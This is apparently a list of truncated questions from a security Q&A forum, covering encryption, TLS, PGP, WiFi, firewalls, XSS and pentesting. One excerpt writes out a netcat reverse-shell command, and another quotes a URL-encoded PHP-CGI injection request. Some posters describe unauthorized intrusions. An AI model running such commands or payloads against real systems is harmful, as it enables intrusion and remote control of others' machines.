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Dear SMTP and TCP/IP network security gurus: I'm curious about what is the realistic risk of sensitive information (such as a email pdf attachment) being intercepted/read by a hostile party from a regular unsecured SMTP mail message AFTER the mail is transmitted from a US-based outbound SMTP mail host to an outside rel...
I know how to use rainbow tables. I've already read the other questions this topic here. Well but there is still one question left. As an attacker, I usually have a hash value of a password and everything I read says that you have to start at the end of a chain and then apply the reduction function, the hash function a...
I'm working on a project where each each user will have a public/private RSA key-pair. Users will be able to send encrypted messages to each other using the each target user's public key so that only target users can read the message (similar to PHP's openssl_seal). Since we want the user to be able to use any device t...
I noticed while hanging in Microsoft Network Monitor that my computer is sending ICMP echo request to an arbitrary IP address 202.39.253.11. I looked for the owner of this IP and I found it is owned by some Chinese or Taiwanese communication business called HINET. They seem to have a website at this address, although ...
I was reading an article on .desktop files used to spread malware on Gnome and KDE. I just thought that the same could be applied to Windows. On Windows: Malware is disguised as a picture by changing icon. >> Funny pic User opens it. Copies itself to a place without UAC (Admin) like My Documents. Replaces a shortcut l...
Wherever I looked I only saw the description of NAT traversal for ESP protocol (for example: http://pic.dhe.ibm.com/infocenter/iseries/v6r1m0/index.jsp?topic=/rzaja/rzajaudpencap.htm) It's looks that encapsulation of AH will work the same way (as for ESP) in transport mode, and in tunnel mode another new IP (+UDP) head...
I have a Buffalo Linkstation Pro 2 Duo for home use. It has a web GUI for browsing the contents of the NAS (distinct from the admin interface). The idea is that you would expose the web GUI to the outside world and you could share files on the public internet. Internally the NAS is using some kind of LAMP flavor, I thi...
I used the Tumblr app on my smartphone to access some adult Tumblr feeds while on my home network. I also used my phone's internet browser to view some adult content. While all this is completely legal, the Tumblr feed and websites definitely would run afoul of any company's Acceptable Usage Policy. Later, I went to wo...
I usually use Debian-derivative distributions such as Ubuntu server. Most of them come pre-configured to use sudo rather than su and to prevent access to the root account at all possible. With this in mind, should root have a shell in /etc/passwd? If I cannot login as root, does it make sense to give root a real shell?...
Someone with the same name as my sister seems to have inadvertently created a Facebook account with her email address. The funny thing is that this person doesn't seem to have ever accessed my sister's Gmail account. My sister tipped me off that emails from Facebook were appearing in her inbox. I took a look, and saw t...
I developed a REST API whose clients are mobile apps/websites under my control (API is not open to anyone). Users log into my mobile app/website with their Facebook or g+ login. I'd like to secure the API so that either: (a) users can access it only after successfully logging into fb/g+ via my app/website or (b) on...
Should the router only store a hash of my encryption key or is it stored as plaintext? I believe (but not certain) that the WPA key is itself an encryption key, buy shouldn't that be encrypted like any other login credentials? I realize I have larger concerns if someone can interface with my router to get to wherever t...
I have a 192 bit data string and a 384 bit signature calculated with curve ANSIp192r1 as well as the public key. These readings originate from a SYM2 electricity meter and I would like to independently validate the authenticity. What is the best way to verify the message using the public key?
Is a DOS attack possible when uploading a big file. Lets say a website has a file upload control, and there is an attempt to upload a file of 1 GB size. If the connection remains open for a long time, does it mean that system resources are being consumed? Is it possible to upload a lot of big files that way? or does t...
I don't understand the flow of Digital Certificate with Email Encryption and Signing. For Example, There is 2 users, Sender A and Receiver B. Is Certificate required to encryption to A or just private key is enough? How B decrypt email ? With the certificate of Sender ?
What is the difference between bridge and routing firewall ? How they both works and what are the security advantages/disadvantages for both scenario ?
I have searched and searched but cannot locate an answer to my question so I am hoping the experts here can. When I read about symmetric encryption like AES I see mention of the key and key size such as 256 bit keys. When I code in PHP and use AES I provide a secret or paraphrase. Is the secret that I provide the key? ...
I have an Asp.net site. Which hosting system do I need to secure it adequately* against anyone reading private information that's on the server? This is assuming I'm not worried about the sysadmins getting it. Note: Even if no one gets control of the site - the problem remains of reading the information. Note 2: I am ...
The KeePass security help page talks about preventing dictionary attacks To generate the final 256-bit key that is used for the block cipher, KeePass first hashes the user's password using SHA-256, encrypts the result N times using the Advanced Encryption Standard (AES) algorithm (called key transformation rounds from...
When I do a google search, there's a lot of stuff in the URL for the results page: https://www.google.com/search?q=why+is+this+here&source=lnms&sa=X&ei=8G6gUtGnJIOh0QXt-4HYDg&ved=0CAgQ_AUoAA&biw=1239&bih=806&dpr=1#q=security https://www.google.com/search ?q=why+is+this+here &source=lnms &sa=X &ei=8G6gUtGnJIOh0QXt-4HYD...
Is there a way to put a self destroy password on ubuntu disk ecncryption ? Or self destroy after n bad password attempt ? When someone ask you to entre the password, you can enter the "self destruct" password who blank the disk... not a bad idea ;-) Best regards.
This is a follow up from this answer. The answer is very good, and it put me to thinking and doing some research. I have found another good explanation on this site. At some point, the author says: If the set of plaintexts is [0123456789]{6} (we want a rainbow table of all numeric passwords of length 6), and the hashi...
We are hosting an SaaS website and API with the https protocol, both of which are accessed by numerous users with a lot of different browsers and client-side apps. What would happen if I made PFS mandatory in my IIS Web Server's configuration? Could there be problems with incompatible clients which do not know how to h...
Can I read-write mount both a regular TrueCrypt volume AND a hidden volume inside the regular volume at the same time? The general idea would be to use the outer volume for non-sensitive stuff and the inner hidden volume for sensitive stuff.
Does anyone know of browser Plugins that make Composing, sending, and reading email basically effortless? Mailvelope doesn't seem to be working with the floating compose boxes in Gmail currently. In addition, a feature I didn't see in Maivelope was a lookup against public key stores for the email and favoring Encrypt...
From a data integrity standpoint, if I persist the following code into my database: <script> alert('hi'); </script> should I sanitize it before persistence, for instance making < into &lt and then on retrieval doing the decode? Or is it safer to only sanitize on retrieval, for instance in a UI?
Perhaps I'm being overly paranoid, but after reading recent news regarding network security I'm starting to believe that SSL isn't quite enough anymore for sensitive data transmissions. Ref: http://www.wired.com/threatlevel/2013/12/bgp-hijacking-belarus-iceland/ http://www.cloudshield.com/blog/advanced-malware/how-to-...
When connecting to a unknown public hotspot, I know that the data transmitted can be captured and, if unencrypted, easily analyzed. But that's not the question here. I want to know whether the information saved on the computers (company computers running Windows 7 - 8 or some Linux installations, some smartphones, Andr...
Do these rules appear to be an adequate start? _interface="en1" _linode="66.228.57.75" #lish-atlanta.linode.com _ssh=" { 74.207.224.182 66.175.210.225 } " set block-policy drop set skip on lo0 set state-policy if-bound set loginterface $_interface set require-order yes scrub out scrub in antispoof quick for { ...
I'm working on a RESTful API to work with my AngularJS application. Authenticating works by generating an ASP.NET FormsAuthenticationTicket. It is stored in a cookie using FormsAuthentication.Encrypt. This approach could result in the authentication cookie being stolen, however that problem is out of scope for this que...
Let's say I have a really simple mobile app with a server API. For example some kind of Q&A app, where users answer questions to win some points ('Who wants to be a Millionaire' kind of game). Users can download new questions from a server's API. Next, the users can upload new questions they made up to contribute to a ...
Is it a good idea to hash(SHA-512/whirlpool) some simple memorable string and use it for passphrase(for LUKS/TrueCrypt container), instead of using just a string like t4k#La93Fs(5w5) as a passphrase?
Although this is closely related to the recently closed question Evil maids in the server room [closed], I believe that it's more answerable. I'd like to unlock LUKS volumes on remotely hosted servers, using initramfs with BusyBox, and Dropbear as SSH server. In the answer to the closed question cited above, paj28 note...
Most of the sites will empty the password field when you fail the CAPTCHA, and often they reset all the fields as well. Is there any security benefit on doing this?
As I know facebook chat is working like user <> server <> user and it's not P2P. I was talking with some guys today and they were pretty sure it's possible to netstat a facebook user IP address. I'm not familiar how FB chat works, but I highly doubt they're using P2P in their chat. So my question is it possible to nets...
Say we have an InnoSetup installer script, a native C++ QT files loading application and a .Net client application that we load/update each time and which is the main application. We load files via http post\get requests. So how many different certificates would our application need to prove for antivirus protectors th...
I am being attacked with this cgi injection: POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%...
On some accounts I use my real name on-line (Google+/Facebook/Wikipedia/personal blog), others (Q&A/Gaming) I use an alias. My question is: Security and privacy wise, what can people do with my real name? What are the dangers of using your real name on-line.
Say I have an application that takes credit cards, but this is actually a payment gateway on the internet that I don't control. The web site used HTTPS and only returns if the card was authorized or not and stores the last 4 digits of the PAN. With this setup, how much, if any, of the infrastructure is really in-scop...
I'm late to the party and need to be caught up. I'm doing my homework looking things up. I know that I don't want unsalted challenge-response CRAM, I want salted challenge-response SCRAM. I think ASP.NET MVC sends cleartext passwords over the wire from what I can tell, and relies on https for security. WebSecurity.Log...
I recently saw a question in which someone implied that tunneling could foil MITM even if it were implemented while an MITM was taking place. My understanding of tunneling is that it is only capable of stopping MITM if it connects to the actual network before the attack is attempted, otherwise the VPN would be set up b...
I would like to run some program, preferably in a sandbox, and see exactly what it does/did. I'm currently puzzled by disk access and network, since there's so much other stuff happening there at the same time. I'm mostly curious about Windows, but also Mac, Linux and Android. Are there any good tools to sandbox/analyz...
As I'm encrypting server backups, I typically install my public GPG key from a keyserver into me server's keyring: gpg --search-keys 6569758F I import the key into my keyring. I then attempt to encrypt a file: gpg --encrypt --recipient 6569758F myfile.log I'm now presented with something like this: gpg: EE928AAF: The...
I read another question which made me think... If you encrypt PCI data (credit card numbers, etc.) using PGP or AES and send it through a firewall, is that firewall in scope? Alternatively, what if you only use a data-in-motion security mechanism like SSH or TLS, would that same firewall be in or out of scope? Perha...
PGP public keys look something like -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.4.9 (GNU/Linux) mQGiBEl2HAgRBAC9IZGQE3NRWFoXV7CcVRbo7xMe+nGPRMTOocA0pcv9N67R6CAZ ... -----END PGP PUBLIC KEY BLOCK----- I'm wondering why the 'Version:' line is always included and if it's safe to remove. Why advertize what ver...
I've used wireshark to watch serveral SSL3.0 traffic and decrypt the messages transfered between client & server. And what I've just found is very strange : AFAIK, the encryption-key, MAC and encryption algorithm used in calculating client-Finished and application-data sent by client are exactly the same. But, when I u...
when was the possibilty to perform man in the middle attack on ssl? is it possible to perform with out session between client and server? can you explain MITM?
I'm running a pentest and im expecting reverse shells from multiple shells connecting back as :- nc <my-ip> <my-port> -e /bin/bash However, I'm trying to figure out the best way to manage these incoming connections. Are there any suggestions on best practices related to this? I had a look at metasploits meterpreter sh...
This is what the authors of the book "Digital Forensics with Open Source Tools" say about the term evidence: The examiner reveals the truth of an event by discovering and exposing the remnants of the event that have been left on the system. In keeping with digital archaeologist metaphor, these remnants are known as ar...
With so many identities stolen last ten years, we know a bunch of emails and a bunch of passwords. Are the two following databases legal under the US federal laws? Publish a database which victim's identity is paired up with victim's known passwords Publish a database which has a table of email addresses and another t...
When I was implementing my webapp, I decided to hash and salt users' passwords in order to protect them, even though I knew that there will never be a lot of them ... if any. Of course, I'm not saying that my implementation is perfect and will stand on the face of potential attackers, but at least I tried. I thought th...
I often see malicious keyloggers being advertised as having anit-wireshark feature. Meaning their data can't be sniffed. Is it possible to do so? How would they do it? My guess is that they just check if Wireshark is running and don't send logs if Wireshark is running. So, this wouldn't work if you are capturing packet...
I have an Amazon EC2 instance in a VPC. I have not logged into it for some time, so I used the Amazon EC2 CLI with ec2-get-console-output to check what the thumbprint should be when I connect. To my surprise, the thumbprint on the certificate, in the remote desktop warning screen, was wrong. I have connected to it via...
I know that TLS protocol is used to authenticate two persons and when a secure channel is established we can perform a key exchange. My question is if TLS can be used to establish a secure channel between more than two persons. If yes how?
I'm not a hacker but recently I was able to get someone's email password. I want to teach him a lesson to be careful when using internet and to pay attention to his passwords but I have some problems: I don't know him and can't contact him face-to-face. He doesn't check his emails( there are tons of unread messages ) ...
Alice goes to the certificate authority (CA) and registers her public key for signature verification. She gets a certificate for this from the CA. Bob requests Alice' public signature verification key from CA. CA returns Alice' key, certified by CA's signature. Now imagine CA sends a fake public key to Bob which not be...
We need to generate tamper-resistant URLs to access a service, which are then shared with the end-user. The URLs don't contain any confidential data, but we need to ensure that they have not been tampered with since they were generated. It's up to the end-user to keep these confidential. It seems like a MAC (like HMACS...
Looking at a handful of websites that allow for/require HTTPS, I realized that the certificate for a few of them specifically identifies the owning corporation, but some (most) don't. What's the difference between a certificate that identifies a corporation and one that doesn't? Shouldn't they pretty much all identify...
Recently, I've been reading about DNSSEC and how it works. I found other questions and some very interesting answers on this and other websites related to this matter. However, I have a question to which I couldn't find an answer anywhere: how can a client know that a DNS zone is supposed to be signed? If machineA neve...
Given the alleged possibility that an adversary might attempt to acquire my (OFFLINE) Secret Certification Key and Passphrase and sign other keys with it, including a key they made with my User-Identity metadata to pretend to be me: Does GPG have a command that asks keyservers to search for and list every key signed by...
I'm currently using WPA2-PSK with CCMP on my home WiFi network for encryption and security. I was a big fan of MAC filtering, until I realized that MAC addresses are publicly sniffable in the 802.11 packets. Is WPA2-PSK with CCMP "good enough" for WiFi security in light of programs like oclHashcat, which can bruteforce...
I'm going to recommend that our users start using a password manager and start creating strong random passwords. Though I don't know what size of a password to recommend. Is it possible for a password to be so strong that it stops making sense? I want them to have passwords that are strong, random, and long enough so t...
CAcert and StartSSL both only validate domains whose TLD is owned by the requester. I have a few subdomains that come from places like freeDNS that I would like to run an SSL-secured server on. Are there any CAs that offer this service for free, and, if so, what are the possible security flaws created there? It seems t...
As far as I can tell based on the reading I've done so far, WPA2-Enterprise uses the same encryption and security algorithms and methods as WPA2-PSK, with the addition of using another service for authentication. Is this accurate, meaning that a WPA2 Enterprise WiFi network is just as susceptible as a WPA2 PSK network...
According to http://en.wikipedia.org/wiki/Digital_cinema under How Digital Cinema Works it states that the decryption keys are time-limited and expire after the end of the booked time. From a high level perspective, how does this work? Is timestamp information retrieved from a trusted source over the wire or does the p...
Can anyone explain me the Step by step process of Key Exchange that takes place while accessing Linux machine using Putty ? I found the Event Log of Putty but the Various Key Exchange didn't make very sense to me. I am still a beginner in security field. So,anyone please help remove my doubt ?
My wife's computer was recently compromised and I have tried to clean it. I installed Microsoft Network Monitor to see if there was any unexplained internet traffic and I noticed a connection to Dropbox. Here is the given details: URI: /subscribe?host_int=34404476&ns_map=162130732_8752065324,26351085_36339744642541,129...
What is the best way to verify if an MSRDP server has NLA enabled or not? My understand is that if enabled, it will not show a graphical screen when trying to connect, but ask for credentials first. Would one way to verify this be to use the rdesktop utility and if a GUI screen is shown for login, note that NLA is not...
I am aware that there is the CVE list published by the NVD. Are there any other important vulnerabilities lists that show vulnerabilities other than the NVDs? Thx
It seems to me that to maximise server security, one ought - in addition to the usual security measures implemented in software - to prevent the overwriting of certain parts of the server system, such that only physical access will circumvent this write-protection. Rationale If a remote attacker who has been successful...
I have just discovered that I can login to my bank with passwords that is not mine. Example: My password is "1234" but I am authorized with all possible post characters. For example "12345" or "12341234" will authorize me. Also note that my password was assigned to me by the bank (four digits) and the login is a norm...
Background: I'm considering switching from shared web hosting to VPS for added security. However - managed VPS's costs much more than unmanaged ones. So, assuming: I secured my website against any type of sql injection and the like. I Keep my password secure . I set Windows update to automatic. The web hosts themselv...
I am building a web service that has to be only accessible for iOS apps. In the future I want to expand to a mobile web-site to make my service also available for other mobile operating systems. Now, I have everything working through an API. my users can register, search companies, order products from those companies,...
Is anyone familiar with a way in which I can post a link on my website, that when accessed will cause users to issue an HTTP request to a 3rd party site with custom content in the HOST header (different from the actual host/domain to which the request is sent to on the IP level)? A short example to clarify my intention...
Is there any way an encrypted file using AES-256 could be modified without alerting the file owner, ie., so it can still be decrypted with the same key? I know that without an initialization vector blocks in a cipher-text can be deleted, moved, duplicated etc. (am I right?) without detection. Using an initialization v...
Questions Can one implement a secure voting system having all the features described below? e.g. without disclosing any individual's vote to the government server (or the third party), preserving all the desired criteria of a ZKP vote, etc. Are there any other security issues to consider in this kind of system, and...
I'd like to know if the latest generation of Android devices provide an application with access to their Secure Element in some way (other than by way of the NFC interface, which is #1 application of the SE), preferably by implementing a keystore that uses the service of their Secure Element? My use case is storing and...
A web shop allows orders from guests. When checking out, the guest has to provide an email address (in addition to shipping address and payment data). When this email address is already in use by a registered shop user, the guest order shall be associated with this user account. Would it be secure to associate the gues...
One of the things that came out of the Snowden files, I believe, was that ISP's will monitor someone that has a BitTorrent client (uTorrent, qbittorrent etc.) installed on their PC, even if they don't use it. It is possible to hide BitTorrent traffic using a VPN, but, hypothetically, how does one hide the very existenc...
I'm reading the specification for a commercial product which provides a webservice.The spec goes like this: The client (a webbrowser) may use https Client asks server for info --> gives modulus and exponent of his public RSA key Client asks server for a session --> client creates a random cipher, encrypts with server ...
Some time ago, I hacked into my school's internet integrated system, and I had the entire database(users, passwords, photos and whatsoever) and source code of it. At some point, I disclosed the password of the admin, and because of it, some random person put random cows in the site and I got caught by social engeneerin...
If I want to send emails to friends who use Google, Yahoo, AOL, etc., how can I currently use my local email client to send a metadata-free* email to them? E.g., is it possible to bypass my own mail provider and directly contact my friend's mail server with an encrypted mail with only one identifying header, TO: friend...
I have a network that has a single point of entry the WAN. The WAN exposes about 10 static IP's that resolve internally to servers that are in the same subnet. Meaning that if you RDP over 3389 to SQLPrimary1 from it you can RDP to all the other devices on the network. Each server has it's firewall disabled. There is n...
I have bought new WILDCARD certificates (*.mydomain.com) for my servers. I was able to install successfully on one server. So, I know the files are correct and I was able to verify their validity. My servers are running Apache2 on Ubuntu 10 and 12- I have stored away the old certificates and install the new ones in a ...
I understand executing something like a reverse TCP bind via shell relies on resources being available on the victim machine... and in the case of running a, shall we say, Ruby script from the command line it will be interpreted down to machine code and executed... My question is, when you drop machine code directly in...
G-Free: defeating return-oriented programming through gadget-less binaries This paper describes what seems like a really cool technique to prevent ROP attacks if the source is availible. They use an assembly preprocessor getween gcc and the assembler to remove or protect all possible free branches (returns and indirect...
For some reason I had been using public network for a small time, and I suspect that someone was actually watching/recording my online/offline activities. At some time I suspected that someone was accessing my system (like cursor and other controls behaving weird as if someone else was controlling them, screen slightly...
I've been offered a free Secure Shell at a friends server. However, I was wondering if it might be insecure to join this server from my personal computer at home - may my computer pose any security risks open for attacks from him whilst being connected to his server? Note that this friend and I barely know each other, ...
I'm designing a homework challenge for students who are learning about memory safety and writing secure C code. As part of this, I am looking for a small programming task where it's non-trivial to write C code that is free of buffer overruns, array out-of-bounds errors, and/or other memory safety errors. What would b...
I am trying to understand some techniques regarding SYN flood prevention and there are three terms I couldn't find a clear explanation of. The terms that are confusing me are: SYN Proxy SYN Cache SYN Cooke What do these mean and what is the different between them?
CRIME mitigation involves disabling TLS compression. My server offers services only via XML-RPC and does not make use of Cookies, which is what CRIME exploits. Does this mean that I can turn on TLS compression without worrying about being compromised? We use basic access authentication which seems like it would be equa...
I am trying to connect to a SSL web server. We currently have a pkcs12 file and connect, that is our private-key and certificate. Is it possible to connect using Java code with a public-key and certificate. Imagine I have a file (it is digital but here is the pem output). > Myfile.pk12 / Myfile.pem > > -----BEGIN ...
I was wondering what ways there are to MiTM a client link to the server where I would give them a public key that they would then send their data via https://example.com using my key. Then without their knowledge I decode it on my machine, reencode with the real keys that my machine got from the server and pass it on c...
I was curious recently when I heard that SSL had supposedly been broken by a certain rogue government agency, why SSL was chosen in the first place. Could it be that PGP would have been a more secure method to encrypt traffic? Today we also have GPG which is free and open. I believe PGP now offers an authentication hie...
I must spoof my identity for some reason. Are Technitium Mac Address Changer App on windows and VPN is a trusted way to be anonymous?
I do not have experience with web development, but I have read that ActiveX should be abandoned because it is insecure, in favour of other scripting methods such as JavaScript. What exactly does ActiveX do, why is it considered insecure and how is it different from JavaScript and VBScript? I would prefer a simple expla...
I've setup an PPTP VPN server on my Debian 7 server. I'm using this VPN in combination with my Android phone to ensure a secure connection. However, i'm getting curious of what my phone is sending and receiving, especially from Google. Is there a way to setup an HTTP(S) sniffer in my VPN server. I have some basic knowl...
I'm doing a pentesting example on a web app and I have dumped all the database. I have a table with the users in plaintext and the passwords hashed. I have to find the admin's password (I know that it's possible because that is the example's final goal). But admin's password is hashed and cannot be reverse with any loo...
I learned that perfect forward secrecy is implemented through DHE and ECDH but what is the difference between these 2 key exchanges? Also can someone explain how perfect forward secrecy works? I've found a variety of answers online ranging from: there's a secret session key that's never shared that's generated, there'...
I'm pentesting a website that has a reflected XSS, or at least a vector for a reflection, but the issue is the following : It escapes <, >, " to their HTML entities, but not &, ) or (. You are not in a tag, so you have to create your own. It's not the first time that I see implementations of this sort. Express.js has...